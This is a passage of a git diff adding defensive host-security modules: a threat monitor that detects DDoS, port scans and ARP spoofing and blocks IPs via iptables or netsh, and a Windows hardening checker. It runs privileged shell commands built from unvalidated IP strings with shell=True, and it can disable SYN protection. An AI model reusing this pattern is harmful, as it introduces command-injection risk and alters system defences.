+ if remote and remote not in ('0.0.0.0', '::', '127.0.0.1', '::1', '*'):
+ geo = self.geoip_lookup(remote)
+ conn['geo'] = geo
+ return connections
+
+ # ==================== CONNECTION RATE ====================
+
+ def get_connection_rate(self):
+ """Track connections per second with trending."""
+ now = time.time()
+ count = len(self.get_connections())
+ self._connection_rate_history.append((now, count))
+
+ # Trim to last 5 minutes
+ cutoff = now - 300
+ self._connection_rate_history = [(t, c) for t, c in self._connection_rate_history if t > cutoff]
+
+ history = self._connection_rate_history
+ current_rate = count
+
+ # 1-minute average
+ one_min = [c for t, c in history if t > now - 60]
+ avg_1m = sum(one_min) / max(len(one_min), 1)
+
+ # 5-minute average
+ avg_5m = sum(c for _, c in history) / max(len(history), 1)
+
+ # Peak
+ peak = max((c for _, c in history), default=0)
+
+ return {
+ 'current_rate': current_rate,
+ 'avg_rate_1m': round(avg_1m, 1),
+ 'avg_rate_5m': round(avg_5m, 1),
+ 'peak_rate': peak,
+ }
+
+ # ==================== DDOS DETECTION ====================
+
+ def detect_ddos(self):
+ """Detect DDoS/DoS attack patterns."""
+ connections = self.get_connections()
+ indicators = []
+ attack_type = 'none'
+ under_attack = False
+
+ # Group by remote IP
+ ip_conns = defaultdict(list)
+ for c in connections:
+ rip = c.get('remote_addr', '')
+ if rip and rip not in ('0.0.0.0', '::', '127.0.0.1', '::1', '*'):
+ ip_conns[rip].append(c)
+
+ # SYN flood: many SYN_RECV/TimeWait connections
+ syn_count = sum(1 for c in connections
+ if 'SYN' in str(c.get('state', '')).upper()
+ or 'TimeWait' in str(c.get('state', '')))
+ if syn_count > 50:
+ under_attack = True
+ attack_type = 'syn_flood'
+ indicators.append(f"{syn_count} SYN/half-open connections detected")
+
+ # Connection flood: single IP with many connections
+ for ip, conns in ip_conns.items():
+ if len(conns) > 50:
+ under_attack = True
+ if attack_type == 'none':
+ attack_type = 'connection_flood'
+ indicators.append(f"{ip}: {len(conns)} connections")
+
+ # Bandwidth spike
+ bw = self.get_bandwidth()
+ for iface in bw:
+ rx_mbps = iface.get('rx_delta', 0) / 1_000_000
+ if rx_mbps > 100:
+ under_attack = True
+ if attack_type == 'none':
+ attack_type = 'bandwidth_spike'
+ indicators.append(f"{iface['interface']}: {rx_mbps:.1f} MB/s inbound")
+
+ # Top talkers
+ top_talkers = sorted(
+ [{'ip': ip, 'connections': len(conns)} for ip, conns in ip_conns.items()],
+ key=lambda x: x['connections'], reverse=True
+ )[:10]
+
+ return {
+ 'under_attack': under_attack,
+ 'attack_type': attack_type,
+ 'severity': 'CRITICAL' if under_attack else 'LOW',
+ 'indicators': indicators,
+ 'top_talkers': top_talkers,
+ 'total_connections': len(connections),
+ 'syn_count': syn_count,
+ }
+
+ def get_top_talkers(self, limit=20):
+ """Get top source IPs by connection count."""
+ connections = self.get_connections()
+ ip_stats = defaultdict(lambda: {'count': 0, 'states': defaultdict(int)})
+
+ for c in connections:
+ rip = c.get('remote_addr', '')
+ if rip and rip not in ('0.0.0.0', '::', '127.0.0.1', '::1', '*'):
+ ip_stats[rip]['count'] += 1
+ state = c.get('state', 'Unknown')
+ ip_stats[rip]['states'][state] += 1
+
+ total = len(connections) or 1
+ result = []
+ for ip, stats in sorted(ip_stats.items(), key=lambda x: x[1]['count'], reverse=True)[:limit]:
+ result.append({
+ 'ip': ip,
+ 'connections': stats['count'],
+ 'percent': round(stats['count'] / total * 100, 1),
+ 'state_breakdown': dict(stats['states']),
+ })
+
+ return result
+
+ # ==================== RATE LIMITING ====================
+
+ def apply_rate_limit(self, ip, rate='25/min'):
+ """Apply rate limit for a specific IP."""
+ if _is_win:
+ # Windows doesn't support rate limiting natively in netsh
+ # Use a block rule as fallback with a note
+ rule_name = f"AUTARCH_RateLimit_{ip}"
+ success, output = self.run_cmd(
+ f'netsh advfirewall firewall add rule name="{rule_name}" '
+ f'dir=in action=block remoteip={ip}'
+ )
+ msg = f"Rate limit applied for {ip} (Windows: block rule)" if success else f"Failed to rate-limit {ip}"
+ else:
+ # Linux iptables rate limiting
+ success1, _ = self.run_cmd(
+ f"sudo iptables -A INPUT -s {ip} -m limit --limit {rate} --limit-burst 10 -j ACCEPT"
+ )
+ success2, _ = self.run_cmd(
+ f"sudo iptables -A INPUT -s {ip} -j DROP"
+ )
+ success = success1 and success2
+ msg = f"Rate limit {rate} applied for {ip}" if success else f"Failed to rate-limit {ip}"
+
+ if success:
+ self.log_mitigation('rate_limit', ip, f'Rate limit: {rate}')
+ return success, msg
+
+ def remove_rate_limit(self, ip):
+ """Remove rate limit rules for an IP."""
+ if _is_win:
+ rule_name = f"AUTARCH_RateLimit_{ip}"
+ success, _ = self.run_cmd(f'netsh advfirewall firewall delete rule name="{rule_name}"')
+ else:
+ self.run_cmd(f"sudo iptables -D INPUT -s {ip} -m limit --limit 25/min --limit-burst 10 -j ACCEPT")
+ success, _ = self.run_cmd(f"sudo iptables -D INPUT -s {ip} -j DROP")
+ return success, f"Rate limit removed for {ip}" if success else f"Failed to remove rate limit for {ip}"
+
+ # ==================== SYN PROTECTION ====================
+
+ def get_syn_protection_status(self):
+ """Check SYN flood protection status."""
+ if _is_win:
+ success, output = self.run_cmd(
+ 'reg query "HKLM\\SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters" '
+ '/v SynAttackProtect 2>nul'
+ )
+ enabled = '0x1' in output if success else False
+ return {'enabled': enabled, 'platform': 'windows'}
+ else:
+ success, output = self.run_cmd("cat /proc/sys/net/ipv4/tcp_syncookies 2>/dev/null")
+ return {'enabled': output.strip() == '1' if success else False, 'platform': 'linux'}
+
+ def enable_syn_protection(self):
+ """Enable SYN flood protection."""
+ if _is_win:
+ success, _ = self.run_cmd(
+ 'reg add "HKLM\\SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters" '
+ '/v SynAttackProtect /t REG_DWORD /d 1 /f'
+ )
+ else:
+ success, _ = self.run_cmd("sudo sysctl -w net.ipv4.tcp_syncookies=1")
+ if success:
+ self.log_mitigation('syn_protection', 'system', 'Enabled SYN protection')
+ return success, "SYN protection enabled" if success else "Failed to enable SYN protection"
+
+ def disable_syn_protection(self):
+ """Disable SYN flood protection."""
+ if _is_win:
+ success, _ = self.run_cmd(
+ 'reg add "HKLM\\SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters" '
+ '/v SynAttackProtect /t REG_DWORD /d 0 /f'
+ )
+ else:
+ success, _ = self.run_cmd("sudo sysctl -w net.ipv4.tcp_syncookies=0")
+ return success, "SYN protection disabled" if success else "Failed to disable SYN protection"
+
+ # ==================== DDOS CONFIG ====================
+
+ def get_ddos_config(self):
+ """Get DDoS auto-mitigation configuration."""
+ if self._ddos_config_path.exists():
+ try:
+ return json.loads(self._ddos_config_path.read_text())
+ except json.JSONDecodeError:
+ pass
+ return {
+ 'enabled': False,
+ 'connection_threshold': 100,
+ 'syn_threshold': 50,
+ 'auto_block_top_talkers': True,
+ 'auto_enable_syn_cookies': True,
+ }
+
+ def save_ddos_config(self, config):
+ """Save DDoS auto-mitigation configuration."""
+ config['updated'] = datetime.now().isoformat()
+ self._data_dir.mkdir(parents=True, exist_ok=True)
+ self._ddos_config_path.write_text(json.dumps(config, indent=2))
+ return config
+
+ def auto_mitigate(self):
+ """Run auto-mitigation based on DDoS detection."""
+ config = self.get_ddos_config()
+ if not config.get('enabled'):
+ return {'actions': [], 'message': 'Auto-mitigation is disabled'}
+
+ actions = []
+ ddos = self.detect_ddos()
+
+ if not ddos['under_attack']:
+ return {'actions': [], 'message': 'No attack detected'}
+
+ # Auto-block top talkers
+ if config.get('auto_block_top_talkers'):
+ threshold = config.get('connection_threshold', 100)
+ for talker in ddos.get('top_talkers', []):
+ if talker['connections'] > threshold:
+ ip = talker['ip']
+ success, msg = self.auto_block_ip(ip)
+ actions.append({'action': 'block_ip', 'target': ip, 'success': success, 'message': msg})
+
+ # Auto-enable SYN cookies
+ if config.get('auto_enable_syn_cookies') and ddos.get('syn_count', 0) > config.get('syn_threshold', 50):
+ status = self.get_syn_protection_status()
+ if not status.get('enabled'):
+ success, msg = self.enable_syn_protection()
+ actions.append({'action': 'enable_syn_protection', 'target': 'system', 'success': success, 'message': msg})
+
+ return {'actions': actions, 'attack_type': ddos['attack_type']}
+
+ # ==================== MITIGATION HISTORY ====================
+
+ def get_mitigation_history(self):
+ """Get log of all mitigation actions."""
+ if self._mitigation_log_path.exists():
+ try:
+ return json.loads(self._mitigation_log_path.read_text())
+ except json.JSONDecodeError:
+ pass
+ return []
+
+ def log_mitigation(self, action, target, reason, auto=False):
+ """Log a mitigation action."""
+ history = self.get_mitigation_history()
+ history.append({
+ 'timestamp': datetime.now().isoformat(),
+ 'action': action,
+ 'target': target,
+ 'reason': reason,
+ 'auto': auto,
+ })
+ # Keep last 500
+ history = history[-500:]
+ self._data_dir.mkdir(parents=True, exist_ok=True)
+ self._mitigation_log_path.write_text(json.dumps(history, indent=2))
+
+ def clear_mitigation_history(self):
+ """Clear mitigation history."""
+ if self._mitigation_log_path.exists():
+ self._mitigation_log_path.write_text('[]')
+
+ # ==================== THREAT SCORE (ENHANCED) ====================
+
+ def calculate_threat_score(self):
+ """Calculate composite threat score (0-100). Higher = more threats."""
+ score = 0
+ details = []
+
+ # Port scan indicators
+ scans = self.check_port_scan_indicators()
+ if scans:
+ score += min(len(scans) * 15, 30)
+ details.append(f"{len(scans)} port scan indicator(s)")
+
+ # Suspicious processes
+ sus_procs = self.get_suspicious_processes()
+ if sus_procs:
+ score += min(len(sus_procs) * 20, 40)
+ details.append(f"{len(sus_procs)} suspicious process(es)")
+
+ # Failed logins
+ failed = self.get_recent_failed_logins(minutes=5)
+ if len(failed) > 5:
+ score += min(len(failed) * 2, 20)
+ details.append(f"{len(failed)} failed logins in 5 min")
+
+ # Active connections from blocklist
+ blocklist = self.get_blocklist()
+ connections = self.get_connections()
+ blocked_active = [c for c in connections if c.get('remote_addr') in blocklist]
+ if blocked_active:
+ score += min(len(blocked_active) * 10, 30)
+ details.append(f"{len(blocked_active)} active connection(s) from blocklisted IPs")
+
+ # ARP spoofing
+ arp_alerts = self.check_arp_spoofing()
+ if arp_alerts:
+ score += min(len(arp_alerts) * 20, 30)
+ details.append(f"{len(arp_alerts)} ARP spoof alert(s)")
+
+ # New listening ports
+ new_ports = self.check_new_listening_ports()
+ if new_ports:
+ score += min(len(new_ports) * 10, 20)
+ details.append(f"{len(new_ports)} new listening port(s)")
+
+ # DDoS
+ ddos = self.detect_ddos()
+ if ddos.get('under_attack'):
+ score += 30
+ details.append(f"DDoS detected: {ddos.get('attack_type', 'unknown')}")
+
+ return {
+ 'score': min(score, 100),
+ 'level': 'CRITICAL' if score >= 70 else 'HIGH' if score >= 40 else 'MEDIUM' if score >= 15 else 'LOW',
+ 'details': details,
+ }
+
+ # ==================== COUNTER-ATTACK ====================
+
+ def auto_block_ip(self, ip):
+ """Block an IP address using platform-appropriate firewall."""
+ if _is_win:
+ rule_name = f"AUTARCH_Block_{ip}"
+ success, output = self.run_cmd(
+ f'netsh advfirewall firewall add rule name="{rule_name}" '
+ f'dir=in action=block remoteip={ip}'
+ )
+ else:
+ success, output = self.run_cmd(f"sudo iptables -A INPUT -s {ip} -j DROP")
+
+ if success:
+ self.add_to_blocklist(ip)
+ return success, f"Blocked {ip}" if success else f"Failed to block {ip}"
+
+ def kill_process(self, pid):
+ """Kill a process by PID."""
+ pid = int(pid)
+ if _is_win:
+ success, output = self.run_cmd(f"taskkill /F /PID {pid}")
+ else:
+ success, output = self.run_cmd(f"kill -9 {pid}")
+ return success, f"Killed PID {pid}" if success else f"Failed to kill PID {pid}"
+
+ def block_port(self, port, direction='in'):
+ """Block a port using platform-appropriate firewall."""
+ port = int(port)
+ if _is_win:
+ rule_name = f"AUTARCH_BlockPort_{port}_{direction}"
+ success, output = self.run_cmd(
+ f'netsh advfirewall firewall add rule name="{rule_name}" '
+ f'dir={direction} action=block protocol=tcp localport={port}'
+ )
+ else:
+ chain = 'INPUT' if direction == 'in' else 'OUTPUT'
+ success, output = self.run_cmd(
+ f"sudo iptables -A {chain} -p tcp --dport {port} -j DROP"
+ )
+ return success, f"Blocked port {port} ({direction})" if success else f"Failed to block port {port}"
+
+ # ==================== BLOCKLIST ====================
+
+ def get_blocklist(self):
+ """Get persistent IP blocklist."""
+ if self._blocklist_path.exists():
+ try:
+ data = json.loads(self._blocklist_path.read_text())
+ return data.get('blocked_ips', [])
+ except (json.JSONDecodeError, KeyError):
+ pass
+ return []
+
+ def add_to_blocklist(self, ip):
+ """Add IP to persistent blocklist."""
+ blocklist = self.get_blocklist()
+ if ip not in blocklist:
+ blocklist.append(ip)
+ self._blocklist_path.parent.mkdir(parents=True, exist_ok=True)
+ self._blocklist_path.write_text(json.dumps({
+ 'blocked_ips': blocklist,
+ 'updated': datetime.now().isoformat(),
+ }, indent=2))
+ return blocklist
+
+ def remove_from_blocklist(self, ip):
+ """Remove IP from persistent blocklist."""
+ blocklist = self.get_blocklist()
+ if ip in blocklist:
+ blocklist.remove(ip)
+ self._blocklist_path.write_text(json.dumps({
+ 'blocked_ips': blocklist,
+ 'updated': datetime.now().isoformat(),
+ }, indent=2))
+ return blocklist
+
+ def generate_threat_report(self):
+ """Generate comprehensive threat report."""
+ return {
+ 'timestamp': datetime.now().isoformat(),
+ 'threat_score': self.calculate_threat_score(),
+ 'scan_indicators': self.check_port_scan_indicators(),
+ 'suspicious_processes': self.get_suspicious_processes(),
+ 'recent_failed_logins': self.get_recent_failed_logins(minutes=10),
+ 'blocklist': self.get_blocklist(),
+ 'connection_count': len(self.get_connections()),
+ }
+
+ # ==================== SSE STREAM ====================
+
+ def monitor_stream(self):
+ """Generator for SSE streaming — yields threat data every 3 seconds."""
+ # Immediate heartbeat so the browser knows the connection is live
+ yield f"data: {json.dumps({'type': 'heartbeat', 'timestamp': datetime.now().isoformat()})}\n\n"
+
+ while True:
+ try:
+ # Fetch shared data ONCE per iteration to avoid redundant subprocess calls
+ connections = self.get_connections()
+ bw = self.get_bandwidth()
+ arp = self.check_arp_spoofing()
+ new_ports = self.check_new_listening_ports()
+
+ # DDoS detection uses connections + bandwidth (pass cached data)
+ ddos = self._detect_ddos_cached(connections, bw)
+
+ # Threat score using cached data
+ threat_score = self._calculate_threat_score_cached(connections, bw, arp, new_ports, ddos)
+
+ # Connection rate tracking
+ now = time.time()
+ self._connection_rate_history.append((now, len(connections)))
+ cutoff = now - 300
+ self._connection_rate_history = [(t, c) for t, c in self._connection_rate_history if t > cutoff]
+ history = self._connection_rate_history
+ one_min = [c for t, c in history if t > now - 60]
+ avg_1m = sum(one_min) / max(len(one_min), 1)
+ avg_5m = sum(c for _, c in history) / max(len(history), 1)
+ peak = max((c for _, c in history), default=0)
+
+ total_rx = sum(i.get('rx_delta', 0) for i in bw)
+ total_tx = sum(i.get('tx_delta', 0) for i in bw)
+
+ data = {
+ 'timestamp': datetime.now().isoformat(),
+ 'threat_score': threat_score,
+ 'connection_count': len(connections),
+ 'failed_logins': 0, # Expensive — fetched on-demand via Threats tab
+ 'suspicious_processes': 0, # Expensive — fetched on-demand via Threats tab
+ 'scan_indicators': 0,
+ 'bandwidth': {
+ 'rx_delta': total_rx, 'tx_delta': total_tx,
+ 'rx_mbps': round(total_rx / 1_000_000, 2),
+ 'tx_mbps': round(total_tx / 1_000_000, 2),
+ },
+ 'arp_alerts': len(arp),
+ 'new_ports': len(new_ports),
+ 'connection_rate': {
+ 'current_rate': len(connections),
+ 'avg_rate_1m': round(avg_1m, 1),
+ 'avg_rate_5m': round(avg_5m, 1),
+ 'peak_rate': peak,
+ },
+ 'ddos': {
+ 'under_attack': ddos['under_attack'],
+ 'attack_type': ddos['attack_type'],
+ 'syn_count': ddos['syn_count'],
+ },
+ }
+
+ if new_ports:
+ data['new_port_details'] = [{'port': p['port'], 'process': p.get('process', '')} for p in new_ports]
+
+ # Scan indicators from cached connections (no extra subprocess call)
+ ip_connections = {}
+ for c in connections:
+ rip = c.get('remote_addr', '')
+ if rip and rip not in ('0.0.0.0', '::', '127.0.0.1', '::1', '*'):
+ ip_connections.setdefault(rip, []).append(c)
+ scan_count = sum(1 for ip, conns in ip_connections.items()
+ if len(set(c['local_port'] for c in conns)) > 10)
+ data['scan_indicators'] = scan_count
+
+ yield f"data: {json.dumps(data)}\n\n"
+ time.sleep(3)
+ except GeneratorExit:
+ break
+ except Exception:
+ time.sleep(3)
+
+ def _detect_ddos_cached(self, connections, bw):
+ """DDoS detection using pre-fetched connections and bandwidth data."""
+ indicators = []
+ attack_type = 'none'
+ under_attack = False
+
+ ip_conns = defaultdict(list)
+ for c in connections:
+ rip = c.get('remote_addr', '')
+ if rip and rip not in ('0.0.0.0', '::', '127.0.0.1', '::1', '*'):
+ ip_conns[rip].append(c)
+
+ syn_count = sum(1 for c in connections
+ if 'SYN' in str(c.get('state', '')).upper()
+ or 'TimeWait' in str(c.get('state', '')))
+ if syn_count > 50:
+ under_attack = True
+ attack_type = 'syn_flood'
+ indicators.append(f"{syn_count} SYN/half-open connections detected")
+
+ for ip, conns in ip_conns.items():
+ if len(conns) > 50:
+ under_attack = True
+ if attack_type == 'none':
+ attack_type = 'connection_flood'
+ indicators.append(f"{ip}: {len(conns)} connections")
+
+ for iface in bw:
+ rx_mbps = iface.get('rx_delta', 0) / 1_000_000
+ if rx_mbps > 100:
+ under_attack = True
+ if attack_type == 'none':
+ attack_type = 'bandwidth_spike'
+ indicators.append(f"{iface['interface']}: {rx_mbps:.1f} MB/s inbound")
+
+ return {
+ 'under_attack': under_attack,
+ 'attack_type': attack_type,
+ 'severity': 'CRITICAL' if under_attack else 'LOW',
+ 'indicators': indicators,
+ 'total_connections': len(connections),
+ 'syn_count': syn_count,
+ }
+
+ def _calculate_threat_score_cached(self, connections, bw, arp, new_ports, ddos):
+ """Lightweight threat score using pre-fetched data (no extra subprocess calls)."""
+ score = 0
+ details = []
+
+ # Port scan indicators from cached connections
+ ip_connections = {}
+ for c in connections:
+ rip = c.get('remote_addr', '')
+ if rip and rip not in ('0.0.0.0', '::', '127.0.0.1', '::1', '*'):
+ ip_connections.setdefault(rip, []).append(c)
+ scans = sum(1 for ip, conns in ip_connections.items()
+ if len(set(c['local_port'] for c in conns)) > 10)
+ if scans:
+ score += min(scans * 15, 30)
+ details.append(f"{scans} port scan indicator(s)")
+
+ # Active connections from blocklist
+ blocklist = self.get_blocklist()
+ blocked_active = [c for c in connections if c.get('remote_addr') in blocklist]
+ if blocked_active:
+ score += min(len(blocked_active) * 10, 30)
+ details.append(f"{len(blocked_active)} active connection(s) from blocklisted IPs")
+
+ # ARP spoofing
+ if arp:
+ score += min(len(arp) * 20, 30)
+ details.append(f"{len(arp)} ARP spoof alert(s)")
+
+ # New listening ports
+ if new_ports:
+ score += min(len(new_ports) * 10, 20)
+ details.append(f"{len(new_ports)} new listening port(s)")
+
+ # DDoS
+ if ddos.get('under_attack'):
+ score += 30
+ details.append(f"DDoS detected: {ddos.get('attack_type', 'unknown')}")
+
+ return {
+ 'score': min(score, 100),
+ 'level': 'CRITICAL' if score >= 70 else 'HIGH' if score >= 40 else 'MEDIUM' if score >= 15 else 'LOW',
+ 'details': details,
+ }
+
+
+# ==================== CLI MENU ====================
+
+def run():
+ """CLI entry point."""
+ from core.banner import Colors, clear_screen, display_banner
+ clear_screen()
+ display_banner()
+ print(f"\n{Colors.BOLD}{Colors.PURPLE}Threat Monitor{Colors.RESET}\n")
+
+ m = ThreatMonitor()
+ report = m.generate_threat_report()
+
+ score = report['threat_score']
+ color = Colors.RED if score['score'] >= 40 else Colors.YELLOW if score['score'] >= 15 else Colors.GREEN
+ print(f"{color}Threat Score: {score['score']}/100 ({score['level']}){Colors.RESET}")
+ if score['details']:
+ for d in score['details']:
+ print(f" - {d}")
+
+ print(f"\n{Colors.CYAN}Active connections: {report['connection_count']}{Colors.RESET}")
+ print(f"{Colors.CYAN}Failed logins (10m): {len(report['recent_failed_logins'])}{Colors.RESET}")
+ print(f"{Colors.CYAN}Suspicious processes: {len(report['suspicious_processes'])}{Colors.RESET}")
+ print(f"{Colors.CYAN}Scan indicators: {len(report['scan_indicators'])}{Colors.RESET}")
+ print(f"{Colors.CYAN}Blocklisted IPs: {len(report['blocklist'])}{Colors.RESET}")
+
+ if report['suspicious_processes']:
+ print(f"\n{Colors.RED}Suspicious Processes:{Colors.RESET}")
+ for p in report['suspicious_processes']:
+ print(f" PID {p['pid']} — {p['name']}: {p['reason']}")
+
+ if report['scan_indicators']:
+ print(f"\n{Colors.RED}Port Scan Indicators:{Colors.RESET}")
+ for s in report['scan_indicators']:
+ print(f" {s['ip']}: {s['detail']}")
+
+ input("\nPress Enter to continue...")
+
+
+# ==================== SINGLETON ====================
+
+_threat_monitor_instance = None
+
+
+def get_threat_monitor():
+ """Get or create singleton ThreatMonitor instance (preserves in-memory state)."""
+ global _threat_monitor_instance
+ if _threat_monitor_instance is None:
+ _threat_monitor_instance = ThreatMonitor()
+ return _threat_monitor_instance
diff --git a/modules/defender_windows.py b/modules/defender_windows.py
new file mode 100644
index 0000000..5aca8b7
--- /dev/null
+++ b/modules/defender_windows.py
@@ -0,0 +1,372 @@
+"""
+AUTARCH Windows Defender Module
+Windows-native security posture assessment
+
+Checks Windows system configuration for security best practices.
+"""
+
+import os
+import sys
+import subprocess
+import re
+import json
+from pathlib import Path
+from datetime import datetime
+
+sys.path.insert(0, str(Path(__file__).parent.parent))
+
+# Module metadata
+DESCRIPTION = "Windows system hardening & security checks"
+AUTHOR = "darkHal"
+VERSION = "1.0"
+CATEGORY = "defense"
+
+
+class WindowsDefender:
+ """Windows security checker."""
+
+ def __init__(self):
+ self.results = []
+
+ def check(self, name: str, passed: bool, details: str = ""):
+ """Record a check result."""
+ self.results.append({"name": name, "passed": passed, "details": details})
+
+ def run_cmd(self, cmd: str, timeout=15) -> tuple:
+ """Run command and return (success, output)."""
+ try:
+ result = subprocess.run(cmd, shell=True, capture_output=True,
+ text=True, timeout=timeout)
+ return result.returncode == 0, result.stdout.strip()
+ except Exception:
+ return False, ""
+
+ def run_ps(self, ps_command: str, timeout=15) -> tuple:
+ """Run a PowerShell command and return (success, output)."""
+ cmd = f'powershell -NoProfile -ExecutionPolicy Bypass -Command "{ps_command}"'
+ return self.run_cmd(cmd, timeout=timeout)
+
+ # ==================== SECURITY CHECKS ====================
+
+ def check_firewall(self):
+ """Check Windows Firewall status for all profiles."""
+ success, output = self.run_cmd("netsh advfirewall show allprofiles state")
+ if success:
+ profiles_on = output.lower().count("on")
+ profiles_off = output.lower().count("off")
+ if profiles_off > 0:
+ self.check("Windows Firewall", False,
+ f"{profiles_off} profile(s) disabled")
+ else:
+ self.check("Windows Firewall", True,
+ f"All {profiles_on} profiles enabled")
+ else:
+ self.check("Windows Firewall", False, "Could not query firewall state")
+
+ def check_ssh_config(self):
+ """Check Windows OpenSSH configuration."""
+ success, output = self.run_ps(
+ "Get-WindowsCapability -Online | Where-Object Name -like 'OpenSSH.Server*' "
+ "| Select-Object -ExpandProperty State"
+ )
+ if not success or "Installed" not in output:
+ self.check("SSH Config", True, "OpenSSH Server not installed (good)")
+ return
+
+ sshd_config = Path(os.environ.get('ProgramData', 'C:\\ProgramData')) / 'ssh' / 'sshd_config'
+ if not sshd_config.exists():
+ self.check("SSH Config", False, "OpenSSH installed but sshd_config not found")
+ return
+
+ content = sshd_config.read_text(errors='ignore')
+
+ if "PermitRootLogin no" in content or "PermitRootLogin prohibit-password" in content:
+ self.check("SSH Root Login Disabled", True)
+ else:
+ self.check("SSH Root Login Disabled", False, "Root login may be enabled")
+
+ if "PasswordAuthentication no" in content:
+ self.check("SSH Password Auth Disabled", True)
+ else:
+ self.check("SSH Password Auth Disabled", False,
+ "Consider using key-based auth only")
+
+ def check_open_ports(self):
+ """Check for high-risk listening ports on Windows."""
+ success, output = self.run_ps(
+ "Get-NetTCPConnection -State Listen -ErrorAction SilentlyContinue "
+ "| Select-Object LocalPort, OwningProcess | Format-Table -AutoSize"
+ )
+ if not success:
+ success, output = self.run_cmd("netstat -ano | findstr LISTENING")
+
+ if success:
+ high_risk = []
+ if ':23 ' in output or '\t23\t' in output:
+ high_risk.append("23 (Telnet)")
+ if ':21 ' in output or '\t21\t' in output:
+ high_risk.append("21 (FTP)")
+ if ':3389 ' in output or '\t3389\t' in output:
+ high_risk.append("3389 (RDP)")
+ if ':445 ' in output or '\t445\t' in output:
+ high_risk.append("445 (SMB)")
+ if ':135 ' in output or '\t135\t' in output:
+ high_risk.append("135 (RPC)")
+
+ lines = [l for l in output.split('\n') if l.strip()]
+ if high_risk:
+ self.check("High-Risk Ports", False,
+ f"Open: {', '.join(high_risk)}")
+ else:
+ self.check("High-Risk Ports", True,
+ f"{len(lines)} services listening, no high-risk ports")
+ else:
+ self.check("High-Risk Ports", True, "Could not enumerate ports")
+
+ def check_updates(self):
+ """Check Windows update status."""
+ success, output = self.run_ps(
+ "Get-HotFix | Sort-Object InstalledOn -Descending "
+ "| Select-Object -First 1 -ExpandProperty InstalledOn"
+ )
+ if success and output.strip():
+ self.check("System Updates", True,
+ f"Last update installed: {output.strip()}")
+ else:
+ success, output = self.run_ps("(Get-HotFix).Count")
+ if success and output.strip():
+ self.check("System Updates", True,
+ f"{output.strip()} hotfixes installed")
+ else:
+ self.check("System Updates", False, "Could not query update status")
+
+ def check_users(self):
+ """Check Windows user security."""
+ # Admin accounts
+ success, output = self.run_ps(
+ "Get-LocalGroupMember -Group 'Administrators' -ErrorAction SilentlyContinue "
+ "| Select-Object -ExpandProperty Name"
+ )
+ if success:
+ admins = [u.strip() for u in output.split('\n') if u.strip()]
+ self.check("Admin Accounts", len(admins) <= 2,
+ f"Admin users: {', '.join(admins)}")
+
+ # Enabled accounts with no password required
+ success, output = self.run_ps(
+ "Get-LocalUser | Where-Object {$_.Enabled -eq $true -and $_.PasswordRequired -eq $false} "
+ "| Select-Object -ExpandProperty Name"
+ )
+ if success:
+ no_pw = [u.strip() for u in output.split('\n') if u.strip()]
+ self.check("Password Required", len(no_pw) == 0,
+ f"No password required: {', '.join(no_pw)}" if no_pw else "All accounts require passwords")
+
+ # Guest account
+ success, output = self.run_ps("(Get-LocalUser -Name 'Guest' -ErrorAction SilentlyContinue).Enabled")
+ if success:
+ guest_enabled = output.strip().lower() == 'true'
+ self.check("Guest Account Disabled", not guest_enabled,
+ "Guest account is enabled" if guest_enabled else "Guest account disabled")
+
+ def check_permissions(self):
+ """Check critical Windows file/folder permissions."""
+ critical_paths = [
+ (os.environ.get('SystemRoot', 'C:\\Windows') + '\\System32\\config', "SAM Registry Hive"),
+ (os.environ.get('ProgramData', 'C:\\ProgramData') + '\\ssh', "SSH Config Dir"),
+ ]
+ for filepath, label in critical_paths:
+ if os.path.exists(filepath):
+ success, output = self.run_cmd(f'icacls "{filepath}"')
+ if success:
+ has_everyone_full = 'Everyone:(F)' in output or 'Everyone:(OI)(CI)(F)' in output
+ self.check(f"Permissions: {label}", not has_everyone_full,
+ f"Everyone has Full Control on {filepath}" if has_everyone_full else "Restricted")
+
+ def check_services(self):
+ """Check for dangerous or unnecessary Windows services."""
+ dangerous = {
+ "RemoteRegistry": "Remote Registry",
+ "TlntSvr": "Telnet Server",
+ "SNMP": "SNMP Service",
+ "W3SVC": "IIS Web Server",
+ "FTPSVC": "FTP Server",
+ "SharedAccess": "Internet Connection Sharing",
+ }
+ running = []
+ for svc_name, label in dangerous.items():
+ success, output = self.run_ps(
+ f"(Get-Service -Name '{svc_name}' -ErrorAction SilentlyContinue).Status"
+ )
+ if success and 'Running' in output:
+ running.append(label)
+
+ self.check("Dangerous Services", len(running) == 0,
+ f"Running: {', '.join(running)}" if running else "No dangerous services running")
+
+ def check_defender(self):
+ """Check Windows Defender antivirus status."""
+ success, output = self.run_ps(
+ "Get-MpComputerStatus -ErrorAction SilentlyContinue "
+ "| Select-Object AntivirusEnabled, RealTimeProtectionEnabled, "
+ "AntivirusSignatureLastUpdated | Format-List"
+ )
+ if success:
+ av_on = re.search(r'AntivirusEnabled\s*:\s*True', output)
+ rt_on = re.search(r'RealTimeProtectionEnabled\s*:\s*True', output)
+
+ if av_on and rt_on:
+ sig_match = re.search(r'AntivirusSignatureLastUpdated\s*:\s*(.+)', output)
+ sig_date = sig_match.group(1).strip() if sig_match else "Unknown"
+ self.check("Windows Defender", True,
+ f"AV enabled, real-time protection on. Signatures: {sig_date}")
+ elif av_on:
+ self.check("Windows Defender", False,
+ "AV enabled but real-time protection is OFF")
+ else:
+ self.check("Windows Defender", False, "Windows Defender is disabled")
+ else:
+ self.check("Windows Defender", False, "Could not query Defender status")
+
+ def check_uac(self):
+ """Check UAC (User Account Control) status."""
+ success, output = self.run_ps(
+ "(Get-ItemProperty -Path 'HKLM:\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System' "
+ "-Name EnableLUA -ErrorAction SilentlyContinue).EnableLUA"
+ )
+ if success:
+ enabled = output.strip() == '1'
+ self.check("UAC Enabled", enabled,
+ "UAC is enabled" if enabled else "UAC is DISABLED — critical security risk")
+
+ success, output = self.run_ps(
+ "(Get-ItemProperty -Path 'HKLM:\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System' "
+ "-Name ConsentPromptBehaviorAdmin -ErrorAction SilentlyContinue).ConsentPromptBehaviorAdmin"
+ )
+ if success and output.strip().isdigit():
+ level = int(output.strip())
+ level_names = {
+ 0: "Never notify (DANGEROUS)",
+ 1: "Prompt on secure desktop (no dimming)",
+ 2: "Prompt on secure desktop",
+ 3: "Prompt for credentials",
+ 4: "Prompt for consent",
+ 5: "Prompt for consent (default)"
+ }
+ desc = level_names.get(level, f"Unknown level: {level}")
